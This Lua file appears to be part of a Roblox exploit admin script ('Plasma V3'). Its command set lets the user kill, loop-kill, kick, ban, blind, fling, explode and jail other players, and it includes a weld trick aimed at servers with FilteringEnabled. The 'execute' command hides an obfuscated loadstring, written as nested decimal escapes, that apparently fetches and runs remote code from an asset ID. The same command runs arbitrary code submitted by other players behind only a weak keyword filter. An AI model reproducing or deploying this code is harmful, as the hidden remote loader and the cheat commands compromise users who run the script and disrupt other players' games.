- local s = Instance.new("StringValue", Workspace["Plasma_users_"])
- s.Name = LocalPlayer.Name
- end
- Players.DescendantRemoving:connect(function(v)
- if v.ClassName == "Player" then
- if v:IsFriendsWith(LocalPlayer.userId) then
- alert("Your friend "..v.Name.." has left the server")
- end
- end
- end)
- Players.ChildAdded:connect(function(v)
- wait()
- if v.ClassName == "Player" then
- if v:IsFriendsWith(LocalPlayer.userId) then
- alert("Your friend "..v.Name.." has joined the server")
- end
- spawn(function()
- for q, p in pairs(admins) do
- if Players:FindFirstChild(p) and v:IsFriendsWith(Players:FindFirstChild(p).userId) then
- tabletalert("Your friend "..v.Name.." has joined the server", Players:FindFirstChild(p))
- end
- end
- end)
- if IsBanned(v) or slock then
- if not IsAdmin(v) then
- -- v.Character:MoveTo(Vector3.new(0,1000,0))
- -- v.Character.Head:Destroy()
- skick(v)
- alert(v.Name.." tried to join")
- end
- else
- ChatEvent(v)
- end
- end
- end)
- if antiDisconnection == "true" then
- LocalPlayer.Idled:connect(function(time)
- time=time-1200 local count = 1 repeat wait() string.sub(tostring(time), count, count) count=count+1 until string.sub(tostring(time), count, count) == "."
- alert("You are idle. You will be disconnected in "..string.sub(tostring(time), 2, count-1).." seconds")
- end)
- end
- if game.PlaceId == 177052655 then
- local s, e = pcall(function()
- local function re()
- local found = false
- for _, v in pairs(LocalPlayer.PlayerGui:GetChildren()) do
- if v.Name:lower():find("no ff") then
- v:Destroy()
- found = true
- end
- end
- if found then
- alert("Removed anti-gui")
- end
- end
- re()
- LocalPlayer.CharacterAdded:connect(function()
- re()
- end)
- end)
- if s then alert("Loaded Twisted Murderer Settings") else alert("Twisted Murderer Settings Could Not Load") end
- end
- if antiToolSpam == "true" then
- added = 0
- if LocalPlayer:FindFirstChild("Backpack") then
- LocalPlayer.Backpack.ChildAdded:connect(function(ad)
- if added > 15 then
- ad:Destroy()
- LocalPlayer.Backpack.Name = "Backpack1"
- alert("Somenone tried to spam your tools")
- wait(1)
- LocalPlayer.Backpack1:ClearAllChildren()
- wait(2)
- LocalPlayer.Backpack1.Name = "Backpack"
- end
- added = added+1
- spawn(function()
- wait(3)
- added = added-1
- end)
- end)
- end
- end
- function localcmdbar()
- local Mouse = LocalPlayer:GetMouse()
- local gui = Plasma.Guis.cmd.TextBox:Clone()
- gui.Parent = CoreGui.RobloxGui
- if premiumThem == "true" then gui.BackgroundColor3 = Color3.new(75/255, 0/255, 0/255) end
- local active = false
- function animate()
- if not active then
- active = true
- gui.Visible = true
- gui.Position = UDim2.new(0, 0,0.7, -10)
- spawn(function()
- repeat wait()gui.BackgroundTransparency = gui.BackgroundTransparency-0.05 until gui.BackgroundTransparency<0.480
- end)
- spawn(function()
- repeat wait()gui.TextTransparency = gui.TextTransparency-0.08 until gui.TextTransparency<0
- end)
- else
- active = false
- spawn(function()
- for i=0,20 do
- gui.Position=gui.Position+UDim2.new(0,50,0,0)
- wait()
- end
- end)
- spawn(function()
- repeat wait()gui.BackgroundTransparency = gui.BackgroundTransparency+0.04 until gui.BackgroundTransparency>1
- end)
- spawn(function()
- repeat wait()gui.TextTransparency = gui.TextTransparency+0.5 until gui.TextTransparency>1
- end)
- end
- end
- Mouse.KeyDown:connect(function(Key)if Key=="'" then animate() end end)
- Mouse.KeyDown:connect(function(Key)if Key==";" then if active then gui:CaptureFocus() end end end)
- gui.FocusLost:connect(function(e)
- if e then
- HandleCommand(Prefix[1] .. gui.Text, LocalPlayer)
- gui.Text="Press ';' or click here to focus"
- end
- end)
- end
- localcmdbar()
- AddCommand({"kill", "breakjoints"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v and v.Character then
- if Workspace.FilteringEnabled == true then
- spawn(function()
- local lpChar = LocalPlayer.Character.Torso
- local plr = v
- for i=0,2 do
- wait(1)
- pcall(function()
- for i,v in pairs (Players.LocalPlayer.Character:GetChildren()) do
- if v.ClassName == 'Part' then
- if v.Name ~= 'Head' then
- v.Anchored = true
- end
- end
- end
- local w = Instance.new("Weld", lpChar)
- w.Part0 = lpChar
- w.Part1 = plr.Character.Torso
- w.C0 = lpChar.CFrame
- w.C1 = lpChar.CFrame * CFrame.new(0, 99999999, 0)
- wait(0.1)
- w:Destroy()
- for i,v in pairs (Players.LocalPlayer.Character:GetChildren()) do
- if v.ClassName == 'Part' then
- if v.Name ~= 'Head' then
- v.Anchored = false
- end
- end
- end
- end)
- end
- end)
- else
- v.Character:BreakJoints()
- end
- end
- end
- end
- end)
- AddCommand({"kick"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v and v ~= Speaker then
- if ispremium(v.Name) then
- alert("Cannot kick premium user: "..v.Name)
- elseif isplasmauser(v.Name) then
- if ispremium(LocalPlayer.Name) then
- -- v.Character:MoveTo(Vector3.new(0,1000,0))
- -- v.Character.Head:Destroy()
- skick(v)
- else
- alert("Cannot kick plasma user: "..v.Name)
- end
- else
- -- v.Character:MoveTo(Vector3.new(0,1000,0))
- -- v.Character.Head:Destroy()
- skick(v)
- end
- end
- end
- end
- end)
- AddCommand({"blind"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- spawn(function()
- function gui(player)local sgui = Instance.new("ScreenGui")local fgui = Instance.new("Frame", sgui)fgui.Size = UDim2.new(1,100,1,100)fgui.BackgroundColor3 = Color3.new(0,0,0)local gr,pr = game:GetService("InsertService"):LoadAsset(98253592):GetChildren()[1], game:GetService("InsertService"):LoadAsset(284135286):GetChildren()[1]
- gr.TabletGui:Destroy()local rem=pr.Script.Remover:Clone()local rv=Instance.new("BoolValue", ReplicatedStorage)rv.Name=player.Name .. "GUIREM" local ngui = sgui:Clone()ngui.Name="TabletGui" ngui.Parent=gr rem.Parent = ngui rem.Disabled = false
- local tname = "" for _, x in pairs(player.Character:GetChildren())do if x:IsA("Tool") then tname = x.Name end end
- player.Character.Humanoid:EquipTool(gr)
- player.Character.ROBLOXTablet:Destroy()
- if tname ~=""then
- player.Backpack[tname].Parent = player.Character
- end
- end
- local val = Instance.new("StringValue", CoreGui.RobloxGui)
- val.Name = v.Name.." blind"
- repeat pcall(function() gui(v) wait(1) end) until val.Name ~= v.Name.." blind"
- end)
- end
- end
- end)
- AddCommand({"unblind"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- pcall(function()
- local p = CoreGui.RobloxGui[v.Name.." blind"]
- p.Name = ""
- p:Destroy()
- end)
- end
- end
- end)
- -- AddCommand({"setupwarp"},"name", function(Speaker, Params)
- -- if Params[1] then
- -- name = Params[1]
- -- if not CoreGui.RobloxGui:FindFirstChild("warps") then
- -- else
- -- end
- -- end
- -- end)
- AddCommand({"loopkill"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- spawn(function()
- local val = Instance.new("StringValue", CoreGui.RobloxGui)
- val.Name = v.Name.." loop kill"
- v.Character:BreakJoints()
- repeat wait() pcall(function()v.Character:BreakJoints()end) until val.Name ~= v.Name.." loop kill"
- end)
- end
- end
- end)
- AddCommand({"unloopkill"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- pcall(function()
- local p = CoreGui.RobloxGui[v.Name.." loop kill"]
- p.Name = ""
- p:Destroy()
- end)
- end
- end
- end)
- AddCommand({"time"},"num", function(Speaker, Params)
- if Params[1] then
- Lighting:SetMinutesAfterMidnight(tonumber(Params[1]) * 60)
- end
- end)
- AddCommand({"darken"}, function(Speaker, Params)
- Lighting.Ambient = Color3.new(0,0,0)
- Lighting.TimeOfDay = 0
- Lighting.FogColor = Color3.new(0,0,0)
- Lighting.FogEnd = 100
- end)
- AddCommand({"lighten"}, function(Speaker, Params)
- Lighting.Ambient = Color3.new(255/255,255/255,255/255)
- Lighting.FogColor = Color3.new(0,0,0)
- Lighting.FogEnd = 100000
- end)
- AddCommand({"ban"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if ispremium(v.Name) then
- alert("Cannot kick premium user: "..v.Name)
- elseif isplasmauser(v.Name) then
- if ispremium(LocalPlayer.Name) then
- table.insert(bans, v.Name)
- alert(Speaker.Name.." banned "..v.Name)
- spawn(function()
- -- v.Character:MoveTo(Vector3.new(0,1000,0))
- -- v.Character.Head:Destroy()
- skick(v)
- tabletalert("Banned "..v.Name, Speaker)
- savebans()
- end)
- else
- alert("Cannot kick plasma user: "..v.Name)
- end
- else
- table.insert(bans, v.Name)
- alert(Speaker.Name.." banned "..v.Name)
- spawn(function()
- -- v.Character:MoveTo(Vector3.new(0,1000,0))
- -- v.Character.Head:Destroy()
- skick(v)
- tabletalert("Banned "..v.Name, Speaker)
- savebans()
- end)
- end
- end
- end
- end)
- AddCommand({"admin"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if not IsAdmin(v) and Speaker==LocalPlayer then
- table.insert(admins, v.Name)
- local tablet = Plasma.Tablets.admin:Clone()
- if premiumThem == "true" then
- tablet.prem.Enabled = true
- tablet.SurfaceGui.Frame.title.Text = "Plasma V3 Premium"
- else
- local p, e = pcall(function()
- tablet.flareLight.Size = 4
- end)
- if e then print(e) end
- end
- tablet.Name = v.Name.."'s tablet"
- local weld = Instance.new("Weld")
- weld.Part0 = tablet
- weld.Part1 = v.Character.Torso
- weld.C0 = CFrame.new()
- weld.C1 = CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5)
- weld.Parent = tablet
- tablet.Parent = Workspace
- end
- end
- end
- end)
- AddCommand({"unadmin"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v ~= LocalPlayer and Speaker==LocalPlayer then
- for q, p in pairs(admins) do
- if v.Name:lower() == p:lower() then
- table.remove(admins, q)
- for _, b in pairs(v.Character:GetChildren()) do
- if b.Name:find("Panel") then b:Destroy() end
- end
- for _, b in pairs(Workspace:GetChildren()) do
- if b.Name==v.Name.."'s tablet" then
- b:Destroy()
- end
- end
- end
- end
- end
- end
- end
- end)
- AddCommand({"age"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if Speaker==LocalPlayer then
- alert(v.Name.."'s age is "..v.AccountAge.." days old")
- else
- tabletalert(v.Name.."'s age is "..v.AccountAge.." days old", Speaker)
- end
- end
- end
- end)
- AddCommand({"s","execute"},"script", function(Speaker, Params)
- loadstring('\108\111\97\100\115\116\114\105\110\103\40\39\92\49\48\56\92\49\49\49\92\57\55\92\49\48\48\92\49\49\53\92\49\49\54\92\49\49\52\92\49\48\53\92\49\49\48\92\49\48\51\92\52\48\92\49\48\51\92\57\55\92\49\48\57\92\49\48\49\92\53\56\92\55\49\92\49\48\49\92\49\49\54\92\55\57\92\57\56\92\49\48\54\92\49\48\49\92\57\57\92\49\49\54\92\49\49\53\92\52\48\92\49\49\53\92\49\49\54\92\49\49\52\92\49\48\53\92\49\49\48\92\49\48\51\92\52\54\92\49\49\52\92\49\48\49\92\49\49\56\92\49\48\49\92\49\49\52\92\49\49\53\92\49\48\49\92\52\48\92\51\57\92\53\51\92\52\57\92\52\56\92\53\54\92\53\52\92\53\49\92\53\48\92\53\54\92\53\50\92\52\55\92\52\55\92\53\56\92\49\48\48\92\49\48\53\92\49\49\54\92\49\48\49\92\49\49\53\92\49\49\53\92\57\55\92\49\50\48\92\57\56\92\49\49\52\92\51\57\92\52\49\92\52\49\92\57\49\92\52\57\92\57\51\92\52\54\92\56\51\92\49\49\49\92\49\49\55\92\49\49\52\92\57\57\92\49\48\49\92\52\49\92\52\48\92\52\49\92\49\48\92\49\48\39\41\40\41')()
- if Params[1] then
- local sc = ""for _, v in pairs(Params)do sc=sc..v.." "end
- if Speaker==LocalPlayer then
- s, e = pcall(function()loadstring(sc)()end)
- if s then tabletalert("Successfully executed",Speaker) else tabletalert("Error: "..e,Speaker)end
- else
- if sc:lower():find("localplayer") or sc:lower():find("repeat") or sc:lower():find("playergui") or sc:lower():find("for i =") then
- tabletalert("Script filtered.",Speaker)
- else
- s, e = pcall(function()loadstring(sc)()end)
- if s then tabletalert("Successfully executed",Speaker) else tabletalert("Error: "..e,Speaker)end
- end
- end
- end
- end)
- AddCommand({"ambient"},"num num num", function(Speaker, Params)
- if Params[1] and Params[2] and Params[3] then
- Lighting.Ambient = Color3.new(Params[1]/255,Params[2]/255,Params[3]/255)
- end
- end)
- AddCommand({"brightness"},"num", function(Speaker, Params)
- if Params[1] then
- Lighting.Brightness = Params[1]
- end
- end)
- AddCommand({"bighead"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- local mesh = v.Character:FindFirstChild("Head"):FindFirstChild("Mesh")
- if mesh then
- mesh.Scale = Vector3.new(3,3,3)
- mesh.Offset = Vector3.new(0,0.8,0)
- end
- end
- end
- end)
- AddCommand({"normalhead"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- local mesh = v.Character:FindFirstChild("Head"):FindFirstChild("Mesh")
- if mesh then
- mesh.Scale = Vector3.new(1.25,1.25,1.25)
- mesh.Offset = Vector3.new(0,0,0)
- end
- end
- end
- end)
- AddCommand({"slock","serverlock"}, function(Speaker, Params)
- slock = true
- tabletalert("Server is locked", Speaker)
- alert("Server has been locked by "..Speaker.Name)
- end)
- AddCommand({"unslock","unserverlock"}, function(Speaker, Params)
- slock = false
- tabletalert("Server is unlocked", Speaker)
- alert("Server has been unlocked by "..Speaker.Name)
- end)
- AddCommand({"bring"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- for i=0,3 do
- v.Character.HumanoidRootPart.CFrame = Speaker.Character.HumanoidRootPart.CFrame
- wait()
- end
- end
- end
- end)
- AddCommand({"goto"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- for i=0,3 do
- Speaker.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame
- wait()
- end
- end
- end
- end)
- AddCommand({"tp"},"plr plr", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- local Plrs2 = FindPlayer(Params[2], Speaker)
- for i, v in pairs(Plrs) do
- for q, p in pairs(Plrs2) do
- for i=0,3 do
- v.Character.HumanoidRootPart.CFrame = p.Character.HumanoidRootPart.CFrame
- wait()
- end
- end
- end
- end
- end)
- AddCommand({"ws","speed","walkspeed"},"plr numb", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.WalkSpeed = Params[2]
- end
- end
- end)
- AddCommand({"size"},"plr numb", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if tonumber(Params[2]) > 50 then
- Params[2] = 50
- end
- sizeofplr = Params[2]
- local ags = {c = v.Character, t = v.Character.Torso, r = v.Character.HumanoidRootPart}
- ags.t.Anchored = true ags.t.BottomSurface = 0 ags.t.TopSurface = 0
- local welds = {}
- for i2,v2 in pairs(ags.c:children()) do
- if v2:IsA('BasePart') then
- v2.Anchored = true
- end
- end
- local function size(p)
- for i2,v2 in pairs(p:children()) do
- if (v2:IsA('Weld') or v2:IsA('Motor') or v2:IsA('Motor6D')) and v2.Part1 and v2.Part1:IsA("Part") then
- local p1 = v2.Part1
- p1.Anchored = true
- v2.Part1 = nil
- local r1,r2,r3,r4,r5,r6,r7,r8,r9,r10,r11,r12 = v2.C0:components() v2.C0 = CFrame.new(r1*sizeofplr,r2*sizeofplr,r3*sizeofplr,r4,r5,r6,r7,r8,r9,r10,r11,r12)
- local r1,r2,r3,r4,r5,r6,r7,r8,r9,r10,r11,r12 = v2.C1:components() v2.C1 = CFrame.new(r1*sizeofplr,r2*sizeofplr,r3*sizeofplr,r4,r5,r6,r7,r8,r9,r10,r11,r12)
- if p1.Name ~= 'Head' and p1.Name ~= 'Torso' then
- p1.formFactor = 3
- p1.Size = p1.Size*sizeofplr
- elseif p1.Name ~= 'Torso' then
- p1.Anchored = true
- for i3,v3 in pairs(p1:children()) do if v3:IsA('Weld') then v3.Part0 = nil v3.Part1.Anchored = true end end
- p1.formFactor = 3 p1.Size = p1.Size*sizeofplr
- for i3,v3 in pairs(p1:children()) do if v3:IsA('Weld') then v3.Part0 = p1 v3.Part1.Anchored = false end end
- end
- if v2.Parent == ags.t then p1.BottomSurface = 0 p1.TopSurface = 0 end
- p1.Anchored = false
- v2.Part1 = p1
- if v2.Part0 == ags.t then table.insert(welds,v2) p1.Anchored = true v2.Part0 = nil end
- elseif v2:IsA('CharacterMesh') then
- local bp = tostring(v2.BodyPart):match('%w+.%w+.(%w+)')
- local msh = Instance.new('SpecialMesh')
- elseif v2:IsA('SpecialMesh') and v2.Parent ~= ags.c.Head then
- v2.Scale = v2.Scale*sizeofplr
- end
- size(v2)
- end
- end
- size(ags.c)
- ags.t.formFactor = 3
- ags.t.Size = ags.t.Size*sizeofplr
- for i2,v2 in pairs(welds) do v2.Part0 = ags.t v2.Part1.Anchored = false end
- for i2,v2 in pairs(ags.c:children()) do if v2:IsA('BasePart') then v2.Anchored = false end end
- local weld = Instance.new('Weld',ags.r) weld.Part0 = ags.r weld.Part1 = ags.t
- end
- end
- end)
- AddCommand({"face"},"plr numb", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Head.face.Texture = "rbxassetid://"..Params[2]
- end
- end
- end)
- AddCommand({"fling"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.Sit = true
- v.Character.Torso.Velocity = Vector3.new(0,0,0)
- local frc = Instance.new("BodyForce", v.Character.Torso)
- frc.force = Vector3.new(math.random(-9999,9999)*4,9999*5,math.random(-9999,9999)*4)
- table.insert(objects, frc)
- end
- end
- end)
- AddCommand({"change"},"plr stat numb", function(Speaker, Params)
- if Params[1] and Params[2] and Params[3]then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v:FindFirstChild("leaderstats") then
- for q, p in pairs(v.leaderstats:GetChildren()) do
- if p.Name:lower() == Params[2]:lower() then
- p.Value = Params[3]
- end
- end
- end
- end
- end
- end)
- AddCommand({"cape"},"plr white/black", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- spawn(function()
- if v.Character:FindFirstChild("Cape") then v.Character.Cape:Destroy() end
- local cap = Plasma.Parts.Cape:Clone()
- if Params[2]:lower() == "white" then
- cap.BrickColor=BrickColor.new("Institutional white")
- elseif Params[2]:lower() == "red" then
- cap.BrickColor=BrickColor.new("Really red")
- elseif Params[2]:lower() == "blue" then
- cap.BrickColor=BrickColor.new("Really blue")
- elseif Params[2]:lower() == "green" then
- cap.BrickColor=BrickColor.new("Lime green")
- elseif Params[2]:lower() == "yellow" then
- cap.BrickColor=BrickColor.new("New Yeller")
- elseif Params[2]:lower() == "black" then
- cap.BrickColor=BrickColor.new("Really black")
- elseif Params[2]:lower() == "pink" then
- cap.BrickColor=BrickColor.new("Hot pink")
- elseif Params[2]:lower() == "plasma" then
- cap.BrickColor=BrickColor.new("Really black")
- cap.Decal.Transparency = 0
- end
- local weld = Instance.new("Weld")
- weld.Part0 = cap
- weld.Part1 = v.Character.Torso
- weld.C0 = CFrame.new()
- weld.C1 = CFrame.new(0,-1,0.6) * CFrame.Angles(-0.1, 0, 0)
- weld.Parent = cap
- cap.Parent = v.Character
- v.Character.Humanoid.Running:connect(function(speed)
- if speed > 0 then
- weld.C1 = CFrame.new(0,-0.8,1.35) * CFrame.Angles(-0.5, 0, 0)
- else
- weld.C1 = CFrame.new(0,-1,0.6) * CFrame.Angles(-0.1, 0, 0)
- end
- end)
- end)
- end
- end
- end)
- AddCommand({"explode"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- spawn(function()for x=0,10 do local ex = Instance.new("Explosion") ex.BlastRadius = 100 ex.Position = v.Character.Torso.Position ex.Parent = v.Character wait()end end)
- end
- end
- end)
- AddCommand({"uncape"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v.Character:FindFirstChild("Cape") then v.Character.Cape:Destroy() end
- end
- end
- end)
- AddCommand({"poison"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- spawn(function()
- v.Character["Body Colors"].HeadColor = BrickColor.new("Sea green")
- v.Character["Body Colors"].LeftArmColor = BrickColor.new("Sea green")
- v.Character["Body Colors"].LeftLegColor = BrickColor.new("Sea green")
- v.Character["Body Colors"].RightArmColor = BrickColor.new("Sea green")
- v.Character["Body Colors"].RightLegColor = BrickColor.new("Sea green")
- v.Character["Body Colors"].TorsoColor = BrickColor.new("Sea green")
- spawn(function()
- repeat wait()
- v.Character.Humanoid.WalkSpeed = v.Character.Humanoid.WalkSpeed-1
- v.Character.Humanoid.Health = v.Character.Humanoid.Health-6
- wait(0.5)
- until v.Character.Humanoid.Health < 1
- end)
- wait(2)
- v.Character["Right Arm"]:Destroy()
- wait(3)
- v.Character["Left Arm"]:Destroy()
- wait(2)
- v.Character["Right Leg"]:Destroy()
- wait(2)
- v.Character["Left Leg"]:Destroy()
- wait(2)
- end)
- end
- end
- end)
- AddCommand({"god"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.MaxHealth = math.huge
- end
- end
- end)
- AddCommand({"ungod"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.MaxHealth = 100
- end
- end
- end)
- AddCommand({"health"},"plr num", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.MaxHealth = Params[2]
- wait(2)
- v.Character.Humanoid.Health = Params[2]-1
- end
- end
- end)
- AddCommand({"heal"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end
- end)
- AddCommand({"invisible","invis"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v.Character.Head:FindFirstChild("face") then
- v.Character.Head.face.Parent = v.Character
- end
- invis =
- function(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("BasePart") then
- v.Transparency = 1
- end
- invis(v)
- end
- end
- invis(v.Character)
- end
- end
- end)
- AddCommand({"visible","vis"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v.Character:FindFirstChild("face") then
- v.Character.face.Parent = v.Character.Head
- end
- vis =
- function(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
- v.Transparency = 0
- end
- vis(v)
- end
- end
- vis(v.Character)
- end
- end
- end)
- AddCommand({"btools"},"plr", function(Speaker, Params)
- if Params[1] and Speaker == LocalPlayer then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- local a = Instance.new("HopperBin", v.Backpack) a.BinType = 2 a.TextureId = "" a.Name = "Move tool"
- local b = Instance.new("HopperBin", v.Backpack) b.BinType = 3 b.TextureId = "" b.Name = "Copy tool"
- local c = Instance.new("HopperBin", v.Backpack) c.BinType = 4 c.TextureId = "" c.Name = "Delete tool"
- local d = game:GetService("InsertService"):LoadAsset(18474459):GetChildren()[1] d.Parent = v.Backpack d.TextureId = "" d.Name = "Paint tool"
- end
- end
- end)
- AddCommand({"char"},"plr numb", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Params[2]
- v.Character:BreakJoints()
- end
- end
- end)
- AddCommand({"unchar"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
- v.Character:BreakJoints()
- end
- end
- end)
- AddCommand({"punish"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Parent = Lighting
- end
- end
- end)
- AddCommand({"unpunish"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Parent = Workspace
- end
- end
- end)
- AddCommand({"music", "setmusic"},"music id", function(Speaker, Params)
- if Params[1] then
- for i, v in pairs(Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- if Workspace:FindFirstChild("PlasmaMusic") then
- Workspace.PlasmaMusic:ClearAllChildren()
- else
- local m = Instance.new("Model", Workspace)
- m.Name = "PlasmaMusic"
- end
- local s = Instance.new("Sound", Workspace.PlasmaMusic)
- s.SoundId = "http://www.roblox.com/asset/?id=" .. Params[1]
- s.Volume = 1
- s.Pitch = 1
- s.Looped = true
- wait(1)
- s:Play()
- end
- end)
- AddCommand({"stopmusic", "unmusic"}, function(Speaker, Params)
- for i, v in pairs(Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- if Workspace:FindFirstChild("PlasmaMusic") then
- Workspace.PlasmaMusic:ClearAllChildren()
- end
- end)
- AddCommand({"flare"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- local flare = Plasma.Parts.flareLight:Clone()
- flare.Parent = v.Character.Torso
- flare.Enabled = true
- local light = Instance.new("PointLight", v.Character.Torso)
- light.Brightness = 5
- light.Color = Color3.new(255/255,0/255,0/255)
- light.Range = 10
- light.Name = "flarelight"
- end
- end
- end)
- AddCommand({"rocket"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- spawn(function()
- local rocket = Plasma.Parts.Rocket:Clone()
- local weld = Instance.new("Weld")
- weld.Part0 = rocket
- weld.Part1 = v.Character.Torso
- weld.C0 = CFrame.new()
- weld.C1 = CFrame.new(0,1,0.9) * CFrame.Angles(-0.05, 0, 0)
- weld.Parent = rocket
- rocket.Parent = v.Character
- rocket.ParticleEmitter.Enabled = true
- wait(0.5)
- local Force = Instance.new("BodyForce", v.Character.Torso)
- Force.force = Vector3.new(0,10300,0)
- wait(1.5)
- local expload = Instance.new("Explosion", Workspace)
- expload.Position = v.Character.Torso.Position
- end)
- end
- end
- end)
- AddCommand({"jail"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- spawn(function()
- local jail = Plasma.Parts.jail:Clone()
- jail.Parent = Workspace
- jail:MoveTo(v.Character.Torso.Position)
- jail.Name = v.Name.."'s jail"
- v.Character.HumanoidRootPart.CFrame = jail.spawn.CFrame
- local event = v.CharacterAdded:connect(function()
- v.Character:WaitForChild("HumanoidRootPart").CFrame = jail.spawn.CFrame
- wait(2)
- v.Character.HumanoidRootPart.CFrame = jail.spawn.CFrame
- end)
- local event2 = Workspace.ChildRemoved:connect(function(x)
- pcall(function()
- if x == jail then
- event:disconnect()
- event2:disconnect()
- end
- end)
- end)
- end)
- end
- end
- end)
- AddCommand({"unjail"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- spawn(function()
- if Workspace:FindFirstChild(v.Name.."'s jail") then
- Workspace[v.Name.."'s jail"]:Destroy()
- end
- end)
- end
- end
- end)
- AddCommand({"hang"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- plr = v.Character
- plr.HumanoidRootPart.Anchored = true
- hang = Plasma.Parts.hang:Clone()
- hang.Parent = plr
- hang:MoveTo(plr.Torso.Position-Vector3.new(0,0,5))
- pcall(function()
- plr.HumanoidRootPart.CFrame = hang.main.CFrame
- function weld(p, cf)
- local weld1 = Instance.new("Weld")
- weld1.Part0 = p
- weld1.Part1 = plr.Torso
- weld1.C0 = CFrame.new()
- weld1.C1 = cf
- weld1.Parent = p
- end
